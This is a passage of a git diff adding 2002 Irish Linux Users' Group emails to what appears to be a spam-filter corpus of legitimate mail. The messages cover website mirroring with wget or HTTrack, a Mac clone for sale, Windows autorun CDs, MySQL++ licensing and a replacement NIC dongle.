+ +wget --mirror https://username:password@foobar.com/a/b/a/index.html + +Any ideas or alternative tools? + +ct + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00419.ff5dc1a4fb2659c83414ee0a41a2e6f9 b/bayes/spamham/easy_ham_2/00419.ff5dc1a4fb2659c83414ee0a41a2e6f9 new file mode 100644 index 0000000..313a357 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00419.ff5dc1a4fb2659c83414ee0a41a2e6f9 @@ -0,0 +1,88 @@ +From ilug-admin@linux.ie Fri Aug 16 11:50:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9B13A43C37 + for ; Fri, 16 Aug 2002 06:49:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:49:26 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GAnda13605 for + ; Fri, 16 Aug 2002 11:49:39 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA21843; Fri, 16 Aug 2002 11:48:25 +0100 +Received: from telutil12a.ml.com (telutil12a-v.ml.com [199.43.34.196]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA21808 for ; + Fri, 16 Aug 2002 11:48:18 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host telutil12a-v.ml.com + [199.43.34.196] claimed to be telutil12a.ml.com +Received: from telutil13a.ml.com (telutil13a [146.125.226.11]) by + telutil12a.ml.com (8.11.3/8.11.3/telutil12a-1.2) with ESMTP id + g7GAmHv15754 for ; Fri, 16 Aug 2002 06:48:17 -0400 (EDT) +Received: from ehudwt03.exchange.ml.com (ehudwt03.exchange.ml.com + [199.201.37.24]) by telutil13a.ml.com (8.11.3/8.11.3/telutil13a-1.1) with + SMTP id g7GAmHf13197 for ; Fri, 16 Aug 2002 06:48:17 -0400 + (EDT) +Received: from 169.243.202.61 by ehudwt03.exchange.ml.com with ESMTP ( + Tumbleweed MMS SMTP Relay (MMS v4.7);); Fri, 16 Aug 2002 06:48:15 -0400 +X-Server-Uuid: 3789b954-9c4e-11d3-af68-0008c73b0911 +Received: by dubim07742.ie.ml.com with Internet Mail Service ( + 5.5.2654.52) id <3TCXNSD7>; Fri, 16 Aug 2002 11:48:16 +0100 +Message-Id: +From: "Breathnach, Proinnsias (Dublin)" +To: "'ILUG'" +Date: Fri, 16 Aug 2002 11:48:15 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2654.52) +X-WSS-Id: 114207E4172553-01-01 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 7bit +Subject: [ILUG] FW: Mac (clone) for sale... +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I've been asked to forward this on ... + +Anyone interested, give me a shout and I'll put you in touch with Ryan ... + +P + +> -----Original Message----- +> Proinnsias, +> +> I'd be obliged if you could pass this along to all your Linux buddies.... +> +> For Sale: +> Power Computing PowerCurve +> (http://www.powerwatch.com/systems/pcurve.html) +> Original 120Mhz PPC-601 daughter card +> Slim Desktop case +> 128MB RAM (new) +> 2GB Apple (IBM) SCSI-2 HDD (new) +> Ati Rage Video card (new) +> 4 x Speed Toshiba CdRom (used, not apple but driver hacked - +> available from web) +> keyboard & mouse (new) +> +> Currently running MacOS9.1 (small partition) and Debian "Woody". OK +> as is (think +> Pentium 233ish) or ready for upgrade to G3-500 for some real +> performance! +> +> Asking price EUR200, open to negotiation. +> +> Regards, +> Ryan +> + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00420.f6140b71df992b02cc59548039eb05ca b/bayes/spamham/easy_ham_2/00420.f6140b71df992b02cc59548039eb05ca new file mode 100644 index 0000000..373e07e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00420.f6140b71df992b02cc59548039eb05ca @@ -0,0 +1,54 @@ +From ilug-admin@linux.ie Fri Aug 16 12:00:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 29F6143C32 + for ; Fri, 16 Aug 2002 07:00:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 12:00:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GAufa13873 for + ; Fri, 16 Aug 2002 11:56:41 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA22255; Fri, 16 Aug 2002 11:54:47 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail03.svc.cra.dublin.eircom.net + (mail03.svc.cra.dublin.eircom.net [159.134.118.19]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id LAA22214 for ; Fri, + 16 Aug 2002 11:54:39 +0100 +From: prosthesis@eircom.net +Message-Id: <200208161054.LAA22214@lugh.tuatha.org> +Received: (qmail 12108 messnum 566459 invoked from + network[159.134.237.77/kearney.eircom.net]); 16 Aug 2002 10:54:09 -0000 +Received: from kearney.eircom.net (HELO webmail.eircom.net) + (159.134.237.77) by mail03.svc.cra.dublin.eircom.net (qp 12108) with SMTP; + 16 Aug 2002 10:54:09 -0000 +To: ilug@linux.ie +Subject: Re: [ILUG] Mirror a website +Date: Fri, 16 Aug 2002 11:49:25 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 8bit +X-Originating-Ip: 159.134.221.29 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +You could try HTTrack, available here: http://www.httrack.com/index.php + +It does recursive grabs of stuff, gets pictures etc. + +Hello everyone, by the way. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00421.eb3eb924262149264f92d8dc3db00db1 b/bayes/spamham/easy_ham_2/00421.eb3eb924262149264f92d8dc3db00db1 new file mode 100644 index 0000000..f8f1510 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00421.eb3eb924262149264f92d8dc3db00db1 @@ -0,0 +1,81 @@ +From ilug-admin@linux.ie Fri Aug 16 14:00:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 225F043C34 + for ; Fri, 16 Aug 2002 09:00:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 14:00:44 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GCuua18656 for + ; Fri, 16 Aug 2002 13:56:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA27889; Fri, 16 Aug 2002 13:55:36 +0100 +Received: from hotmail.com (oe76.law4.hotmail.com [216.33.148.172]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA27862 for ; + Fri, 16 Aug 2002 13:55:27 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host oe76.law4.hotmail.com + [216.33.148.172] claimed to be hotmail.com +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Fri, 16 Aug 2002 05:54:56 -0700 +X-Originating-Ip: [213.121.187.98] +From: "David Crozier" +To: "Kenn Humborg" +Cc: +References: +Subject: Re: [ILUG] Autorun CDs +Date: Fri, 16 Aug 2002 13:52:42 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4807.1700 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 +Message-Id: +X-Originalarrivaltime: 16 Aug 2002 12:54:56.0015 (UTC) FILETIME=[1EF299F0:01C24524] +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Apologies all. I have comitted a cardinal sin by not specifying that this +was for a windows machine. + + +----- Original Message ----- +From: "Kenn Humborg" +To: "David Crozier" +Cc: +Sent: Friday, August 16, 2002 1:51 PM +Subject: RE: [ILUG] Autorun CDs + + +> > Cheers All for your words of wisdom. +> > +> > I came across this which has worked a treat:- +> > +> > http://www.avdf.com/mar97/art_autorun.html +> +> (This is all Windows-related autorun stuff). +> +> So why did you waste the time of those who looked +> up Linux-related info for you? If you said that it +> was for Windows, you'd probably have gotten both +> more relevant answers and flames for asking this on +> a _Linux_ mailing list. +> +> Sheesh... +> +> Later, +> Kenn +> + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00422.41c3bd638e1a077ba0c692579417f299 b/bayes/spamham/easy_ham_2/00422.41c3bd638e1a077ba0c692579417f299 new file mode 100644 index 0000000..4b0a9c0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00422.41c3bd638e1a077ba0c692579417f299 @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Fri Aug 16 14:01:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A034343C32 + for ; Fri, 16 Aug 2002 09:00:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 14:00:51 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GD1La18761 for + ; Fri, 16 Aug 2002 14:01:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA28128; Fri, 16 Aug 2002 14:00:18 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA28098 + for ; Fri, 16 Aug 2002 14:00:11 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g7GD0An4037116 for + ; Fri, 16 Aug 2002 14:00:10 +0100 (IST) (envelope-from + padraig.brady@corvil.com) +Message-Id: <3D5CF74B.7@corvil.com> +Date: Fri, 16 Aug 2002 13:59:55 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] Autorun CDs +References: +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Kenn Humborg wrote: +>>Cheers All for your words of wisdom. +>> +>>I came across this which has worked a treat:- +>> +>>http://www.avdf.com/mar97/art_autorun.html +> +> +> (This is all Windows-related autorun stuff). + +Which was obvious since he mentioned: +`start file.html` +And the reason I didn't reply, Doh! + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00423.29f3d90625a1bf69a8620f78f15246a3 b/bayes/spamham/easy_ham_2/00423.29f3d90625a1bf69a8620f78f15246a3 new file mode 100644 index 0000000..6402537 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00423.29f3d90625a1bf69a8620f78f15246a3 @@ -0,0 +1,65 @@ +From ilug-admin@linux.ie Fri Aug 16 15:01:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 290E543C32 + for ; Fri, 16 Aug 2002 09:58:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 14:58:45 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GDosa19893 for + ; Fri, 16 Aug 2002 14:50:57 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA14287 for ; + Fri, 16 Aug 2002 14:42:07 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA30386; Fri, 16 Aug 2002 14:40:53 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA30351 for + ; Fri, 16 Aug 2002 14:40:45 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from cunniffe.net (p579.as1.exs.dublin.eircom.net + [159.134.226.67]) by claymore.diva.ie (8.9.3/8.9.3) with ESMTP id OAA15308 + for ; Fri, 16 Aug 2002 14:40:44 +0100 +Message-Id: <3D5D00DB.9080800@cunniffe.net> +Date: Fri, 16 Aug 2002 14:40:43 +0100 +From: Vincent Cunniffe +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en, en-us +MIME-Version: 1.0 +To: ilug +Content-Type: text/plain; charset=ISO-8859-15; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [ILUG] mysql, C++ & [L]GPL +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, + +I'm going to be using MySQL in an upcoming project (and probably +buying their support license), and I'm wondering if anyone else +has used any libraries to link a proprietary C++ project to a +MySQL database. From what I can see on the MySQL website, their +MySQL++ library is under the GPL, but there's also some documents +which list it as under the LGPL. + +Anyone got any experience with this, or has used a different +library to link C++ and MySQL under Linux? + +Regards, + +Vin + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00424.e39b1db8cf5575572abb4482fd3fced3 b/bayes/spamham/easy_ham_2/00424.e39b1db8cf5575572abb4482fd3fced3 new file mode 100644 index 0000000..0981b95 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00424.e39b1db8cf5575572abb4482fd3fced3 @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Fri Aug 16 15:02:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C241E43C45 + for ; Fri, 16 Aug 2002 09:58:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 14:58:47 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GDpia19919 for + ; Fri, 16 Aug 2002 14:53:27 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA14356 for ; + Fri, 16 Aug 2002 14:51:33 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA30881; Fri, 16 Aug 2002 14:49:04 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA30837 for + ; Fri, 16 Aug 2002 14:48:51 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from cunniffe.net (p202.as1.exs.dublin.eircom.net + [159.134.224.202]) by claymore.diva.ie (8.9.3/8.9.3) with ESMTP id + OAA16033 for ; Fri, 16 Aug 2002 14:48:50 +0100 +Message-Id: <3D5D02C1.5010504@cunniffe.net> +Date: Fri, 16 Aug 2002 14:48:49 +0100 +From: Vincent Cunniffe +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en, en-us +MIME-Version: 1.0 +To: ilug +Subject: Re: [ILUG] replacement xircom dongle? +References: <3D5CFB9A.6060209@cunniffe.net> + <003c01c24529$e17df820$e600000a@XENON16> +Content-Type: text/plain; charset=ISO-8859-15; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +wintermute wrote: +>>Anyone know where in Ireland I can get a replacement external dongle +>>for a Xircom CE3B-100 PCMCIA NIC? +>> +>>Failing that, who delivers fastest to Ireland? +>> +>>Regards, +>> +>>Vin +> +> I went into Maplin looking for exactly this sort of thing, only to be told I +> would have to by a whole new card..... +> Buy & Sell I'd say else just by a new NIC...(which I didn't do) I just live +> with the fact I have to angle the CAT 5 at a certain angle to my NIC or the +> dongle will fall out! + +Well, I went hunting online and it is definitely possible to get +replacement dongles, specifically for this card but also for +others. + +Tricky though ;-) + +Vin + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00425.1af406dc2ac12d1d5140a6ee5fb75231 b/bayes/spamham/easy_ham_2/00425.1af406dc2ac12d1d5140a6ee5fb75231 new file mode 100644 index 0000000..7323bfa --- /dev/null +++ b/bayes/spamham/easy_ham_2/00425.1af406dc2ac12d1d5140a6ee5fb75231 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Fri Aug 16 15:02:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A650943C46 + for ; Fri, 16 Aug 2002 09:58:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 14:58:53 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GDp5a19910 for + ; Fri, 16 Aug 2002 14:53:22 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA14199 for ; + Fri, 16 Aug 2002 14:36:17 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA30099; Fri, 16 Aug 2002 14:34:57 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail04.svc.cra.dublin.eircom.net + (mail04.svc.cra.dublin.eircom.net [159.134.118.20]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id OAA30062 for ; Fri, + 16 Aug 2002 14:34:51 +0100 +Received: (qmail 50698 messnum 1156866 invoked from + network[213.190.156.48/unknown]); 16 Aug 2002 13:34:21 -0000 +Received: from unknown (HELO XENON16) (213.190.156.48) by + mail04.svc.cra.dublin.eircom.net (qp 50698) with SMTP; 16 Aug 2002 + 13:34:21 -0000 +Message-Id: <003c01c24529$e17df820$e600000a@XENON16> +From: "wintermute" +To: +References: <3D5CFB9A.6060209@cunniffe.net> +Subject: Re: [ILUG] replacement xircom dongle? +Date: Fri, 16 Aug 2002 14:36:09 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-15" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> Anyone know where in Ireland I can get a replacement external dongle +> for a Xircom CE3B-100 PCMCIA NIC? +> +> Failing that, who delivers fastest to Ireland? +> +> Regards, +> +> Vin + + +I went into Maplin looking for exactly this sort of thing, only to be told I +would have to by a whole new card..... +Buy & Sell I'd say else just by a new NIC...(which I didn't do) I just live +with the fact I have to angle the CAT 5 at a certain angle to my NIC or the +dongle will fall out! + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00426.6cd93f7b4c74456e414f1f01fec6b05f b/bayes/spamham/easy_ham_2/00426.6cd93f7b4c74456e414f1f01fec6b05f new file mode 100644 index 0000000..5006dfa --- /dev/null +++ b/bayes/spamham/easy_ham_2/00426.6cd93f7b4c74456e414f1f01fec6b05f @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Fri Aug 16 15:02:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AB2C643C40 + for ; Fri, 16 Aug 2002 09:58:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 14:58:56 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GDtHa20160 for + ; Fri, 16 Aug 2002 14:55:17 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA13986 for ; + Fri, 16 Aug 2002 14:10:07 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA28702; Fri, 16 Aug 2002 14:09:32 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA28678 for ; + Fri, 16 Aug 2002 14:09:26 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.webnote.net + [193.120.211.219] claimed to be webnote.net +Received: (from lbedford@localhost) by webnote.net (8.9.3/8.9.3) id + OAA13977 for ilug@linux.ie; Fri, 16 Aug 2002 14:09:26 +0100 +Date: Fri, 16 Aug 2002 14:09:25 +0100 +From: Liam Bedford +To: ilug@linux.ie +Subject: Re: [ILUG] Autorun CDs +Message-Id: <20020816130925.GH12901@mail.webnote.net> +References: + <3D5CF74B.7@corvil.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <3D5CF74B.7@corvil.com> +User-Agent: Mutt/1.4i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Aug 16, 2002 at 01:59:55PM +0100, Padraig Brady wrote: +> Kenn Humborg wrote: +> >>Cheers All for your words of wisdom. +> >> +> >>I came across this which has worked a treat:- +> >> +> >>http://www.avdf.com/mar97/art_autorun.html +> > +> > +> >(This is all Windows-related autorun stuff). +> +> Which was obvious since he mentioned: +> `start file.html` +> And the reason I didn't reply, Doh! +> +I actually assumed that the windows implementation was the only +one he'd seen, and he wanted the same for linux. + +where's that Rick Moen thing about how to ask a question? + +L. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00427.be3f3b2afa1566fe54b91692a4ef7380 b/bayes/spamham/easy_ham_2/00427.be3f3b2afa1566fe54b91692a4ef7380 new file mode 100644 index 0000000..c3f59c1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00427.be3f3b2afa1566fe54b91692a4ef7380 @@ -0,0 +1,58 @@ +From ilug-admin@linux.ie Fri Aug 16 15:02:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C89F743C61 + for ; Fri, 16 Aug 2002 09:59:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 14:59:01 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GDtLa20173 for + ; Fri, 16 Aug 2002 14:55:21 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA14050 for ; + Fri, 16 Aug 2002 14:19:38 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA29223; Fri, 16 Aug 2002 14:18:29 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA29198 for + ; Fri, 16 Aug 2002 14:18:22 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from cunniffe.net (p579.as1.exs.dublin.eircom.net + [159.134.226.67]) by claymore.diva.ie (8.9.3/8.9.3) with ESMTP id OAA13640 + for ; Fri, 16 Aug 2002 14:18:19 +0100 +Message-Id: <3D5CFB9A.6060209@cunniffe.net> +Date: Fri, 16 Aug 2002 14:18:18 +0100 +From: Vincent Cunniffe +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en, en-us +MIME-Version: 1.0 +To: ilug@linux.ie +Content-Type: text/plain; charset=ISO-8859-15; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [ILUG] replacement xircom dongle? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Anyone know where in Ireland I can get a replacement external dongle +for a Xircom CE3B-100 PCMCIA NIC? + +Failing that, who delivers fastest to Ireland? + +Regards, + +Vin + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00428.65ae29d057a34273b8b064e934868ee0 b/bayes/spamham/easy_ham_2/00428.65ae29d057a34273b8b064e934868ee0 new file mode 100644 index 0000000..9840690 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00428.65ae29d057a34273b8b064e934868ee0 @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Fri Aug 16 15:11:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E6A7E43C32 + for ; Fri, 16 Aug 2002 10:11:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 15:11:26 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GE9Ga21191 for + ; Fri, 16 Aug 2002 